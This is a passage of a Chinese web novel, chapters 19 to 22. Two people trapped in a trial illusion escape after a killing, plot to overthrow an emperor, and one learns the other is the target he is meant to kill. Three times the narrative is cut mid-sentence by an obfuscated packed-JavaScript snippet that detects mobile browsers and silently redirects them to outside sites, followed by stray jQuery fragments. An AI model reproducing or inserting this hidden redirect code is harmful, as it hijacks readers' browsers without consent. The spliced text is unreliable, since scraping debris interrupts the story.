“尚书与我出来,却死在这儿,瓜田李下,我也未必摘得干净。”谢翎说的话可一点不像个纨绔,“此处是他暗地购置的一处别院,少有人知是他的,今天也支开了所有人,不如我俩就此离开,闭紧嘴巴,权当不知此事。”
沈辞秋与尚书的约定只有他们知道,而谢翎今天来,也没别的人知晓。
沈辞秋收回染血的手指:“你与他沆瀣一气,能替我保密?”
谢翎眼也不眨:“我是与他喝过酒,但我与很多人都喝过酒,却没有真正交情,也没做过龌龊事,殿下在此他却邀我来,保不准是什么心思,礼部尚书恶贯满盈,死有余辜,殿下为民除害了。”
沈辞秋似在思忖,一时冲动杀了尚书,沈辞秋其实没多少选择,末了到底点了点头。
谢翎长舒一口气。
就跟沈辞秋觉得自己今日有点奇怪,谢翎也一样,他先前恍了会儿神,耳边突然传来一道声音。
【你叫谢翎,是个穿越者,在一个修真世界里修仙,此时正在接受考验,无论看到什么都是假的,这是幻境世界,不信的话你眨下眼,然后在心中默念两遍‘系统’,就会明白我说的是真的。】
谢小侯爷一愣,这是……我自己的声音!
他将信将疑,按照声音做了,眼前忽的就弹出一个浮空的页面,上面有许多稀奇古怪的描述,是谢小侯爷想象不出来的。
系统的界面就是燃魂老祖在水镜外也看不见。
一路翻着界面看下去,谢翎已经相信了自己的真实身份是修仙者,毕竟他作为一个废物小侯爷,做梦都想象不出这些东西。
这就是掌握剧情的谢翎在进入考核前给自己留下的提示,传音的法子是做任务从系统那儿得到的奖励。
既然手握剧情,闯关的时候怎么能不提前准备呢?有挂不开白不开。
所以谢翎眼看尚书死了,血腥场面虽然吓了他一跳,可一旦提醒自己这都是假的,就能很快镇定下来。
但如果沈辞秋也是假的,未免太可惜了。
谢翎忍不住想,毕竟长得这么漂亮,如果是真的就好了。
19.第十九章
既然决定要走,沈辞秋抬手,要解开脚踝上的铃铛,这东西一动就叮铃作响,简直是告诉他人自己位置的利器。
他手上沾了血,也不知道金铃细链的锁扣究竟是什么构造,沈辞秋动手解了一会儿,竟一点没解开,不得其法。
沈辞秋微微皱了皱眉,他们没有太多时间能耗在这里。
谢翎试探着走上前:“殿下,这类玩、装饰,通常锁扣都有点特殊,让我试试?”
沈辞秋松手,面无表情看着谢翎。
不愧是第一纨绔,懂挺多,先前是不是想说玩具?
沈辞秋将小腿往前伸了伸:“你来。”
谢翎找了块没被血弄脏的干净地面单膝跪地,说了声得罪,而后抬手,轻轻捧过沈辞秋的脚踝,先仔细看了看。
沈辞秋下意识一颤,抿了抿唇,忍住了。
谢翎握着他的脚踝,呼吸不由放轻,完全不敢用力。
这位毫不受宠的皇子唯有容貌倾城,身子也格外漂亮,他光洁白皙的足上没有鞋袜,圆润莹白的趾尖就这么踩在谢翎手心,入手温润细腻,这只脚漂亮又惊人地脆弱,仿佛随便一握,就能将其折断,锁在自己身边。
看似是谢翎捉住了沈辞秋,但是……沈辞秋端坐在榻上,神色清冷,眼眸微垂,他是山巅的花,而谢翎是跪在他脚边的觐见者。
是他给了谢翎机会。
谢翎抬手在金链上灵活挑了两三下,就这么把链子解开了,铃铛掉落在地,滚进了血泊里。
谢翎赶紧松手起身,指尖残余着另一人皮肤的温热,他简直不敢多看,脱下外袍,罩在了沈辞秋身上。
衣衫上还带着人暖烘烘的体温,沈辞秋拉住衣服,清泠泠抬眼看他。
谢翎扫了眼尚书的尸体,尚书临死前蹬了蹬腿,把桌上酒水瓜果打翻,鞋子也湿了,没法扒拉下来给沈辞秋穿。
“殿下,我们得走了。”谢翎将折扇佩回腰间,“您看是背着您走,还是抱着走呢?”
沈辞秋闻言又将衣服紧了紧。
他下半什么也没穿,若是背着,贴在一起,不太合适,谢翎的手若不小心朝后一滑,就容易碰上不该碰的地方。
沈辞秋做了决定:“抱着。”
谢翎于是弯腰,抄过沈辞秋的膝弯,将人打横抱了起来。
身体骤然悬空,沈辞秋心里一惊,但他抿着唇绷住了神情,只是手微微抓紧了谢翎身前的衣服。
好轻啊,谢翎想,而且怎么有人沾了血,身上却还带着股香味,像是……白梅冷香,浅淡,却醉人。
谢翎怀抱红衣美人殿下,走到窗户边,抬腿踢开了窗户:“走正门可能会遇到巡防士兵,后面是小道,我们跳窗走更安全——”
谢翎朝窗外一看,声音突然戛然而止。
沈辞秋在他怀里,偏头一看,明白了谢翎为什么僵住。
这里是三楼,高度可观。
沈辞秋:“你有轻功?”
谢翎:“……没有。”
沈辞秋再问:“一二楼有窗吗?”
谢翎整个人都跟霜打茄子似地蔫了:“……也没有。”
沈辞秋:“哦。”
所以只有三楼窗户能走,但他俩都不会武功,这个三层阁楼比寻常楼曾都要高,跳下去甚至没有残废的选择,只有早死和晚死的选项。
谢翎蔫了不到两息,他又想起一切都是假的,心一横,对沈辞秋道:“殿下相信我吗?”
沈辞秋:“不信。”
他看得出来谢翎不知从哪儿来的勇气,豁出去准备开跳的模样。
他确实不信谢翎,但被士兵抓住是死,摔死也是死,后者还轻松点。
于是沈辞秋抬起双臂,抱住谢翎的脖颈:“你跳吧。”
这是个依偎示弱的姿势,但不知为什么,谢翎就是福至心灵明白了沈辞秋真正的想法:被勾着脖子,谢翎如果胆敢起歹意把沈辞秋单独扔出去,沈辞秋就能带着他一起死。
说好的辞秋殿下柔弱可欺,除了美貌一无是处呢?
谢翎抱紧了沈辞秋,骨节分明的手指将肩膀与膝弯处柔软的皮肤按出了雪白的小窝:“我跳了!”
跳下去那一瞬,沈辞秋下意识勾紧谢翎的脖颈,闭上了眼。
他感觉风从面颊上飞速割过,心脏骤然悬空,仿佛坠入万丈深渊。
谢翎也闭了眼,默念着假的假的都是假的……咦?
谢翎悄悄掀开一点眼皮,看清自己安然无恙踩在地面之后,惊愕地瞪圆了眼。
……我天,居然真的完好无损。
谢翎瞬间狂喜,他迫不及待想和人分享喜悦,当然只能找身边唯一的活人沈辞秋,他兴高采烈要邀功,却在低头时一愣。
沈辞秋靠在他怀中,抿紧了红艳的唇,尚未睁开眼,墨色的鸦羽轻轻颤抖,紧绷许久的神情终于露出一点破绽,那是微不可察的脆弱,只需要一点,就足够惹人万分怜惜。
谢翎:……
即便现在一切都是假的,自己不是个真废物纨绔,但应该是个真颜狗。
可恶,谁家幻境弄出这么一个好看又真实的人来欺负颜控啊,太过分了!
谢翎喜悦荡然无存,笑不出来了,含泪抱着沈辞秋就狂奔。
沈辞秋听到耳边风声微动,终于慢慢睁开了眼。
他俩不仅毫发无损,此时谢翎还抱着他健步如飞,漆黑的小道中,周围屋子迅速后退。
沈辞秋静了一息,紧紧环着谢翎的胳膊默默松开了一点:“你是个什么都不会的废物纨绔?”
“按理说是的,”谢翎边跑边胡诌,“但我娘说过我天生神力,说不定是我觉醒了呢!”
沈辞秋信他的邪。
但是他这个“柔弱无能只能靠卖身求情”的皇子刚刚一簪子杀了朝廷重臣,好像也没资格说别人。
谢翎一路带着沈辞秋回到侯府,从后门悄咪咪进了府,带着他直奔浴房。
浴房内随时备着热水,谢翎将人放下,沈辞秋足尖点在地面,看着谢翎自觉把水倒进浴桶,旁边放好皂角巾帕,又将屏风拉开,隔着屏风对沈辞秋道:“沾血的衣服不能要了,殿下先沐浴,我去拿换洗衣物。”
沈辞秋站在屏风这头,听见门吱呀关上,他雪白的脚踩在干净的地面上,朝浴桶走去,他将谢翎的外袍叠了整齐,好好放下,而后手指一拨,任由那件绯色的红纱从玉润的肩头随意滑落在地。
红纱依依不舍亲吻他的脚尖,沈辞秋却冷冷踩过红纱,像揉碎了柔软的花。
笔直修长的腿迈过浴桶,没入水中,被温度适中的水流包裹着,沈辞秋绷了一路的身子也终于缓缓舒展开,靠在浴桶上。
今天的经历太奇怪了,自己为什么会做出完全不像自己的事,究竟哪一面才是真正的自己?
沈辞秋慢慢下滑,漂亮的锁骨被水渐渐覆盖,肌肤被水光浸出一层细腻的玉色,弹指可破。
水镜外,燃魂老祖很有君子风度,再说,他就是一抹负责考核的神识,进来考核的人无论美丑,他都对人家身子没兴趣,沈辞秋褪下衣物时,水镜里就起了白雾,把该遮的地方遮得严严实实,非礼勿视。
如果谢翎在这儿,一定直呼这码打得真专业!
沈辞秋把血洗细细洗干净,谢翎拿了衣服回来,搭在屏风上,方便沈辞秋待会儿自取,隔着屏风,谢翎瞧着沈辞秋若隐若现的影子,水气蒸腾,像幅映在屏风上的灯影画。
“殿下,你之后打算怎么办?”谢翎道,“你那位……应该是表兄?最近在京城闹的事沸沸扬扬,人尽皆知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502957|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“不熟,不管。”沈辞秋言语简短,干净利索。
谢翎听得忍不住笑了笑,这七皇子跟传言真是完全不一样,太有意思了。
“我过的不好,是皇帝造成的。”
屏风后传来哗啦水声,是沈辞秋从浴桶里起身,明明隔着屏风,但谢翎晃眼一瞧他映在屏风上整个身子流畅漂亮的线条,还是忍不住心头发热,连忙转开视线,老老实实不敢多看。
都知道他是假人,还分毫不敢亵渎他,谢翎想,我可是个真君子啊。
沈辞秋披着谢翎准备的衣裳,从屏风后转出,那是谢翎自己的衣裳,在他身上略显得宽松了些,却反而衬出一股说不出的雍容,他湿润的手搭在屏风上,晶莹的水珠从白皙的脖颈滑落。
美人出浴,热气化开了些许他眼中的冰霜,却没折损他半点风骨。
沈辞秋就这样轻依着屏风说:“接下来,我要弑君。”
他方才在水中想了一阵,没明白自己为何会变得如此矛盾,但他并不想违背自己当下的意愿。
既然皇帝是一切苦难的源头,那就除了他,一劳永逸。
谢翎一愣,随即哈哈大笑起来。
“哈哈,听起来很有意思,带我一个啊,殿下。”
沈辞秋歪歪头,柔软的长发微湿,垂在谢翎给他的衣服上:“你不仅不告发我,还要跟着一个柔弱无能毫无希望的皇子造反?”
“那我不也是个人尽皆知的废物?”谢翎好像听到的不是什么会被杀头的大事,笑眯眯的眼底藏着说不出的桀骜,“两个无能之辈去闯一场,又有何妨?”
狂妄。
这哪是什么纨绔废物,这是匹蛰伏的猛兽,当他睁眼,足以睥睨天下。
沈辞秋指尖微微颤栗,不是害怕,而是棋逢对手时心头一刹划过的雷电锋芒。
是了,好像这才是最适合谢翎的神情。
沈辞秋手指在屏风上下滑,擦出水痕,他微微抬眼,明明身在牢笼,却好似立于云端。
“那就来吧。”他说。
水镜外,燃魂老祖忍不住叫了声好。
后生可畏啊,给他俩塞的记忆,一个是软弱无能的皇子,一个是不学无术的侯爷,干扰他们的神智,迷惑他们的灵魂,可没想到遇上的第一件事就让他俩对抗住了虚假的记忆,迅速做出了与现在身份不符的选择。
在水镜中,无论做什么决定,善或恶,勇敢或怯弱,都可以,只要做出决定的是“你”,而不是水镜里虚假的身份,就能让老祖满意。
两个无能的身份,却胆大包天敢直指最顶端的皇帝,两人看着年纪不大,心性倒很强。
老祖慢悠悠品了杯茶,水镜里时光飞逝,眨眼已经过去两年,沈辞秋和谢翎心智和手段都很了得,竟然真被他俩一步步往上爬,在朝中搅弄风云。
他俩携手,拉拢人心、建立势力,再到步步算计,着实精彩,两人身上根本看不到虚假记忆的影子,柔弱可欺的皇子和废物小侯爷好像从未出现过。
老祖看得津津有味:嗯,不错不错,但还是得再找点事考验他们,看看选择,怎么能这么顺风顺水呢?
说起来,他俩不是未婚道侣吗,怎么水镜中时间过了两年,他俩正事上合作得天衣无缝,却不见半点感情上的逾越?
连秉烛夜谈一块儿喝酒都规规矩矩,非常守礼。
难道他们只是联姻,比如宗门硬扣的婚约,但完全不喜欢对方的那种?
燃魂老祖想了想,露出个狡黠的笑来,手指在水镜里轻轻一拨——
日月一转,水镜里的人和事随着这一拨的涟漪往前荡去。
水镜中,出现了谢翎惊讶的双眼。
“什么?”谢翎惊得差点摔了杯子,“皇帝要给我赐婚!?”
20.第二十章
皇帝要给谢翎和我赐婚,而提出建议的这个人是……我自己。
沈辞秋有点恍惚。
真是我做的?那种奇怪的感觉又来了,像极了两年前他决定卖身给前礼部尚书,结果临了把人杀了的事。
沈辞秋好看的眉心微微蹙起。
他如今已经不再是那个谁都能欺负的皇子,手握权势,离登基就剩一步之遥,虽然为了稳妥起见,与男人成婚不要后代这个幌子能打消皇帝的疑虑,但是,沈辞秋真不觉得自己干得出来。
不仅因为这事儿没有事先跟谢翎商量过,还因为自己从没有干涉谢翎婚事的打算。
而且自己跟他成婚……算什么呢?
情之一字,他半点不懂。
沈辞秋正想着,下人回禀,说谢侯爷求见。
沈辞秋回神,允人进来。
谢翎风风火火冲进院内,看到沈辞秋坐下花树下,石桌边,风一吹,他的华服上暗光浮动,沈辞秋在微光中抬眼朝他看来。
就一眼,看得谢翎气焰蓦地晃荡,有什么脾气都给吹没了。
谢翎:“……”
他疾驰的脚步在门口磨了磨,唰啦打开手中折扇,给自己扇风降温,颇为无奈过去坐下,自个儿给自个儿倒了杯茶,神色复杂看向沈辞秋:“你朝皇帝谏言,给我俩赐婚?”
沈辞秋犹豫了下,还是点了点头。
虽然匪夷所思,但记忆里,确实是他做的没错。
谢翎:“……为什么?”
沈辞秋:“稳妥起见,让皇帝对我们卸下心防……”
谢翎叹气:“我想听的不是这个。”
沈辞秋沉默下去。
两年相处,谢翎自认已经知道了沈辞秋是个什么样的人,果敢,对他人狠对自己更狠,但把自己人都牢牢实实护得很好,看着清冷话少,但豆腐心。
虽然他只是个幻影,但谢翎与他相处得仍然十分愉快,往常有什么大事都会先商量,怎么给自己安排婚事上还先斩后奏,不问问他的意思呢?
还有……谢翎并没有觉得沈辞秋对自己有风月上的心思。
若没有真心喜欢,那就是不打招呼把他终身大事当成筹码,摆弄他这个人,谢翎自然高兴不起来。
沈辞秋也明白谢翎不愉的点在哪儿,须臾,他叹了口气,不得不承认一个古怪的事实:“按理说,我不会干涉你的婚事……我也想不起那天我为何会这么做了。”
沈辞秋疲惫的按了按自己眉心:“我偶尔神智会有些恍惚,无论如何,是我之过。”
他自己也知道这个理由听起来很敷衍,什么神智恍惚,太像给自己找借口了,但谢翎却听得愣住,一个难以置信的想法浮现在他心头。
“你是说,有时你会恍然不知所以……”谢翎按捺着激动的情绪,小心翼翼问,“比如觉得自己不像自己,做的事也匪夷所思?”
沈辞秋手指停下,微微睁大眼,谢翎能描述得这么详细,像是亲历者,他讶然:“难道你也?”
折扇“啪”地一下重重拍在谢翎掌心,尽管他极力克制,但语调还是没怎么忍住:“没错,我也是!”
当谢翎知道世界是虚假的之后,他就猜自己不仅被抹掉了真的记忆,还应当塞入了假的回忆,比如纨绔子弟的样,有时还会有莫名其妙的念头冒出来阻止自己的脚步。
谢翎都得排除杂念,抓住自己最想选的那个答案。
如果沈辞秋跟他一样,是不是意味着,沈辞秋可能也是在这里接受考核的,是个真真实实存在的人!?
或者说,他俩本来就是一起来的,早就认识!
如果世上真有沈辞秋这样的人,谢翎说什么也得跟他结交,现在好了,他愿望或许能成真!
来路上的坏心情顿时烟消云散,谢翎觉得自己好像有不存在的尾巴抖了抖,如果有翅膀,他高低得扇两圈。
但没有,因此他只能愉悦地眯起眼用扇子扇风。
沈辞秋也没想到竟还有人与他一样,这件事实在过于匪夷所思,他本连谢翎都没告诉过,却原来身边就有同样的人。
但沈辞秋却没有什么欢喜。
他神情凝重地将茶盏放下,迟疑着抬了抬眼,欲言又止,在谢翎疑惑的眼神中缓缓问:“你……看过大夫了没?”
还在快乐抖羽毛的谢翎呆住。
谢翎:“嗯??”
“这应当是病症,”沈辞秋眉宇间竟有了丝丝焦虑,“我曾翻阅书籍,了解过离神症,一体双魂等病症,我原以为只有我如此,没想到连你也是。”
谢翎脑子里不知怎么就冒出一句话:那不就是精神病?
谢翎赶紧:“不不不,我觉得我们——”
他话音卡了壳,说什么,说我们可能在接受考核,世界都是假的,这话说出来沈辞秋肯定会更加觉得他脑子出了问题。
而且既然是考核,出题人没准就在什么地方看着呢,他不能说漏嘴。
那厢沈辞秋已经轻轻呼气:“你放心,我一定找个好大夫来替你诊治。”
谢翎:……大可不必。
他的扇子在手心慢慢敲了敲,看着沈辞秋的神色,忽然问:“殿下,您既然翻阅了书籍,自个儿看过大夫吗?”
沈辞秋摇了摇头:“我不能留下这样的脉案。”
哪怕大夫是自己心腹也不行,杀了皇帝后他是要自己登基的,若日后不小心被谁知道他脑子有病,还怎么服众?
“您不先顾着自己,听到我有病症就焦虑,”谢翎勾勾嘴角,噙满了笑,眨眨眼,“你关心我。”
沈辞秋不明所以睨了他一眼,那意思:你刚知道?
两年里,谢翎成了他最信赖的心腹,二人时常同进同出,好事坏事一起干,沈辞秋自然要顾及他的身体,不然呢?
沈辞秋不轻信他人,但谢翎就是有本事成了自己左膀右臂,也是难得能懂他心思的朋友,他又不是铁石心肠,肯定会在乎他。
不明白自己一个眼神过去,谢翎为什么就开始傻乐。
边乐边使劲盯着自己看。
沈辞秋:“……”
他被谢翎那双总是盛了阳光的琥珀色眸子看得不太自然,但皇家威仪,没有他先移开眼的道理,因此只是手指蜷了蜷,忍住了避开视线的冲动:“你癔症现在就犯了?”
有什么可乐呵的?
“没有,就是高兴。”谢翎美滋滋地想,说不定他跟沈辞秋在真实世界里关系很好,他们两人就跟在此地一样默契,冲这个,他能原谅在考核里遇到的所有破事儿。
谢翎身心舒畅,仗着沈辞秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506230|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在乎,得寸进尺:“殿下,那眼下这亲事怎么办?”
“既然错了,那就不成,不会委屈你。”沈辞秋轻飘飘下了决定,就好像跟皇帝提议的的确不是他自己。
“皇帝没几天好活了,”沈辞秋道,“时机到,我们就动手——你别笑了。”
谢翎支颐着下巴看他,嘴角的弧度根本控制不住,那琥珀色的眼睛里简直有蜜糖,裹得沈辞秋要招架不住了。
……虽不自在,但是不难受。
“遇上开心的事就要笑,殿下你也笑一个呗?”
沈辞秋浅色琉璃般的眸子里明明也映了光,但唇边就是努力绷着,他轻声道:“别闹了。”
那睫羽轻颤,有无奈,也有轻松。
谁说这不算一个笑呢,我就当你对着我笑过了。
先前谢翎以为沈辞秋是假的,于是只敢抱着看客的心思观赏,不敢参与得太深,免得考核结束后回到现实,徒留失落。
但既然他也是真的……谢翎把茶当酒,一口干了,装作自然又大着胆子握住沈辞秋搁在桌面的手:“其实这事儿也可以商量。”
沈辞秋不料谢翎突然上手,漂亮的眼眸错愕睁大,他下意识往后一缩,但没成功,谢翎力气还挺大。
可看谢翎诚诚恳恳,满面坦然,自己如果再用劲非要收回手,只会搞得两人都尴尬,沈辞秋迟疑间,手背已经被谢翎温热的掌心给贴暖和了。
……算了,由他去吧。
沈辞秋微微移开眼,只能忽视握在一块儿的手:“商量什么?”
谢翎:他没挣开!
谢翎羽毛哗啦啦展翅:“继续迷惑皇帝,而且如果……是你,我——”
然而就在谢翎偷偷欢喜的时候,他眼前突然弹出了系统的界面。
【叮,补偿任务“苟命要紧”阶段行动达成,握手时长已满两个时辰,奖励发送
下一步建议行动:都能让你握手两个时辰了,反派肯定开始对你卸下防备了!去吧,不要大意继续取得他的信任,拥抱他,达到二十次,反派不得找不着北?
任务奖励:随机一次性招式一招,威力金丹初期
失败惩罚:无】
谢翎笑容一僵,所有声音都戛然而止。
谢翎无视了其余长串乱七八糟的什么建议,唯独落在两个字上:反派。
谁?谁是反派,被他握住手的……沈辞秋?
谢翎手猛地一颤,他只觉得视野里所有东西霎时都变得僵硬起来,无论是这个半透明的界面,还是沈辞秋的神情。
他缓缓上移视线,看到了这个“补偿任务”最上方的字眼。
【支线任务“击杀反派沈辞秋”开启
任务时限:二十年
完成进度:0/1】
杀了沈辞秋,是、是我必须要完成的事?
谢翎整个怔住了。
所以沈辞秋的确是个活生生的人,而他与沈辞秋真正的关系不是什么好友知己,甚至不是萍水相逢的点头之交,而是……敌人。
还有方才的任务,握手成功了,接着下一步安排,所以他在以欺骗的手段接近沈辞秋,只为了某天好杀了他吗?
一盆透凉的冰水朝着谢翎兜头浇下,所有喜色一扫而空,暖阳天里,他却从头凉到脚。
21.第二十一章
谢翎刚因沈辞秋是真人的事实开心不过几秒,就被更具冲击性的真相给砸了满脸,一时间大脑一片混乱,僵在原地。
沈辞秋看他突然神情空白,还以为真是癔症犯了,忙道:“谢翎!”
谢翎浑身过电似的一颤,手上仿佛扎了刺,哆嗦着猛地收回手,干巴巴道:“啊,嗯,刚说到哪儿了?”
沈辞秋蹙眉:“身体不舒服?”
“没有啊,哦我们说到成婚迷惑皇帝是吧,我……”
好好的一个人,脸色突然白得跟见了鬼似的,血色霎时没了,怎么可能没事?
沈辞秋就这么看着他。
谢翎嘴角勉强扬起的笑在沈辞秋静静的注视下缓缓落下,他几次试图再扯扯嘴角,都没能成功,最后捂住眼长叹,干涩道:“好把,我想起个事,心情是有点糟。”
不是有点糟,而是很糟。
沈辞秋不是会对旁人心事刨根究底、揭人伤疤的人,可谢翎浑身陡然颓靡的气息敲在心口,实在让人放心不下,他迟疑片刻,才道:“你想说说吗?”
谢翎没有立刻出声,须臾后,他才缓缓开口。
“说到赐婚,我……我曾有个朋友,家里非给指了门婚事,他与那陌生的夫人相处,时间一长,或许也……生出了那么点喜欢吧,总归是当自己人护着了,可某天,突然发现夫人是他仇人。”
谢翎慢慢放下手,不知是不是被捂了眼睛,里面竟然带上了点血丝,他极为缓慢地问:“你觉得他们会变成什么样?”
沈辞秋:“和离?亦或是已经复了仇?”
谢翎看着他:“怎么不猜他们继续走下去,或者至少谈和,哪怕做不成夫妻也能做朋友呢?”
“那得看是什么仇了。”沈辞秋道,“他家中若是仔细查探,这门亲事本不该开始。”
“不该开始……”谢翎喃喃,他低头苦笑一声,“是啊,若早知身份有异,根本不该开始。”
他将这些话说出来,似乎舒服多了,长长呼出一口气,好像翻过了这一页,也不说他朋友跟夫人到底结局如何了,恢复了平常的模样:“我们还是说正事,这建议你已经给皇帝提了,虽然圣旨还没下,但你再去劝他改主意,他肯定不快,让他选个好日子,我们就定在成亲那天动手,时机也不错。”
沈辞秋瞧了瞧谢翎的神色,没有因婚事不快,也没有方才那股突然的郁气了,点点头:“可。”
谢翎起身:“今天说到这儿吧,我回府啦。”
沈辞秋端坐原地,在谢翎转身时突然问:“所以你朋友与那夫人如何了?”
谢翎脚步一顿,没回头,轻描淡写道:“他远在异地,那之后我们再无书信来往,所以我也不知道。”
沈辞秋没有再问。
水镜外,燃魂老祖瞧着两人,瞧出点端倪。
镜中时间过了两年,两人又能摒弃身份桎梏牢守本心,老祖看得出沈辞秋是个面冷心善,但惯会压抑心绪的人,娇生惯养的宅子养不出这样的性子,他周围人或许不怎么样。
这样的人或许不容易捂热,可一旦捂热了,绝对长情。
而谢翎虽然心眼多,但是远比沈辞秋洒脱,他必然见过不少美好的东西,所以哪怕在泥沼里,也总能活得有滋有味。
他是个小心又大胆,认定了就敢试的。
方才谢翎握沈辞秋的手那一下,他差点以为这小子要说点什么有意思的话。
怎么又停了呢?
而且联姻又被他俩扯到正事上去了,后生现在都这么上进的吗?
*
时间一晃,到了沈辞秋和谢翎成亲当天,沈辞秋依雪国的礼从宫中出发,可这一拜,皇子没出嫁,皇帝没了。
沈辞秋抬出圣旨,宣布老皇帝选的继承人是他,压住了内廷,而本该来迎接他的新郎官带兵在外镇压了其他试图作乱的皇子,一举把隐患尽数拿下。
沈辞秋没给朝廷乱起来的机会,他就在宫中,穿着婚服等他的功臣。
须臾,宫门开了。
沈辞秋站在高高的丹陛前,看少年郎君纵马当先,一袭红衣猎猎,宛如一团炽热的火,撞开死气沉沉的宫门,光也要追在其身后,带着劲风朝他疾驰而来。
沈辞秋就瞧着那意气风发的红衣里自己越来越近。
“吁——!”
谢翎勒马,马蹄高扬,他利索翻身下马,对着沈辞秋就要拜,沈辞秋却叫住了他:“上来。”
谢翎抱拳的手一顿,抬头。
沈辞秋气质清冷,但五官是十足的昳丽,红衣更衬得他灼灼其华,白雪红梅,惊艳非常。
他一袭大红广袖婚服,金丝绣祥瑞,腰被束出极为好看的线条,不过盈盈一握,长摆曳地,雍容华贵。
谢翎就这么瞧着他,一步步慢慢踏上台阶,走到他身前。
沈辞秋道:“日后你不必跪我。”
谢翎心头一酸。
今日之后前路再无阻碍,起码在这个世界里,他们周身枷锁尽去,再无需装模作样,再无人敢欺,荣华加身,功成名就。
尽管都是假的,迟早有一天梦会醒。
谢翎忍着酸楚问:“我能抱一下你吗?”
沈辞秋愣了愣,抿抿唇,朝谢翎缓缓抬手。
他其实仍旧不习惯与人太过亲近的接触,但如果是谢翎,他可以适当容忍。
谢翎好像不知被他一个简单的动作刺激到了哪儿,上前一把狠狠抱住了他,力气之大,仿佛要把他揉进自己骨头里,死死不放手。
有点疼。
但沈辞秋没有出声。
他犹豫了下,慢慢搭上谢翎结实的脊背,轻轻拍了拍。
谢翎在沈辞秋看不到的地方红了眼眶,狠狠吸了口气,好闻的白梅冷香却让他愈发苦涩,他努力扬起语调,装作什么事也没有:“可惜陛下为了天下不能真跟男子成婚,要是今儿把流程走完,我可赚大发了。”
沈辞秋想偏头去看谢翎的眼,但眼下姿势如果一动,他俩面颊可就蹭上了,于是只能忍住,靠在谢翎肩头说:“今后我不会与任何人成婚。”
谢翎使劲儿的手一顿。
“我……不通情爱,本也没想过能有家室。”沈辞秋清楚自己的性子,他可以顺手护一些人,但分明很难相信别人,谢翎是难得一个能靠近他的,也是这些年唯一一个能让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14516627|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他彻底放下心防的人。
但这应当不是喜欢。
沈辞秋可以给谢翎荣华富贵,赐他千金高台,会尽自己所能对他好,给他一生无忧,但是……沈辞秋不懂如何才算是爱一个人。
情之一字太难了。
他既然做不到,就不应该耽误任何人。
这个想法其实不太像他,他第一想法竟然不是如果不懂那就去学,直到弄明白怎么爱人,而是直接避开,就好像他曾尝试过去学会怎么爱人,但最后却失败了一样。
但反正……也不重要。
谢翎力道松了,沈辞秋慢慢从他怀里退开,目光描摹过面前人的红衣,与他自己的衣裳正好相对,琉璃色的眸子里浮出一点极为清浅的舒缓:“也算穿过婚服了。”
沈辞秋真的不爱笑,偶尔有那么一点,谢翎都稀奇得跟什么似的,要反反复复品味。
但是这一回,他却看得格外难受,心里难受,嗓子里也难受,但他硬生生堵着,没有出现一个伤口。
天高云阔,鸿雁南飞,金光碎在他们红衣的绣纹上,那些祝贺新婚的祥瑞好像都活了过来,游曳在衣摆上,互相离得那么近,又靠得那么远。
谢翎哽了哽嗓子,挤出一个笑来:“那我也不成婚,忠君报国,这辈子都给陛下了。”
沈辞秋一眼“你又在闹什么”的表情。
可谢翎那沉甸甸的心在说出这句话后,陡然一轻,好像恍然大悟终于找到了个口子:对啊,有什么关系呢,反正他们都不记得真实世界里的事,眼下无忧无虑,就这么相处也挺好。
两年不都这么过来了吗?跟沈辞秋度过的时间也都是实打实烙在了脑子里啊。
什么都不愁,就在这幻境里继续走下去,不也很好——
电光石火间,一道惊雷骤然在谢翎脑中炸响。
他刚准备随波放逐的心狠狠下坠!
考核,对了,这是一场考核。
给他们虚假身份,塞入假的记忆,都是考核,考核都应该是有始有终的,如果他们沉溺在虚假的幻境里不想出去了,那是不是意味着失败?
谢翎袖袍底下的手倏地攥紧,终于意识到了这场考核一层一层的可怕之处。
俱是炼心。
当你在虚假的世界里什么都有了,要风得风要雨得雨,生活美满自由自在,你还会想回到一个根本记不起来的地方吗?
你会想,凭什么这里就不能是真的呢?
更何况对现在的谢翎来说,他甚至有些抗拒去碰那个他跟沈辞秋是仇敌的世界。
谢翎惊出了一身冷汗。
这场考核是给他们留出过破绽的,既然考核还没停,破绽还会继续甚至加大,催他们下笔考试,做出选择。
何况在幻境里的不止他一个。
不是他想沉湎,就能无忧无虑陷入其中的,知道得越多,反而让他愈发痛苦跟挣扎。
谢翎无论是最初点燃的火焰还是干脆破罐破摔的念头都骤然熄了,余下一片残烬和疲惫无力,他苦涩地想,说不定一开始别留下什么提醒,就让自个儿蒙在鼓里……反而还好受点。
这可真是作茧自缚啊。
22.第二十二章
登基后的这半年,是沈辞秋过得最安宁的日子。
压在身上的大山尽数不见,世上再无人敢欺他,没人还记得当年什么柔弱的七皇子,只有圣明的皇帝,朝中升平,河清海晏,百姓安居无大事扰心。
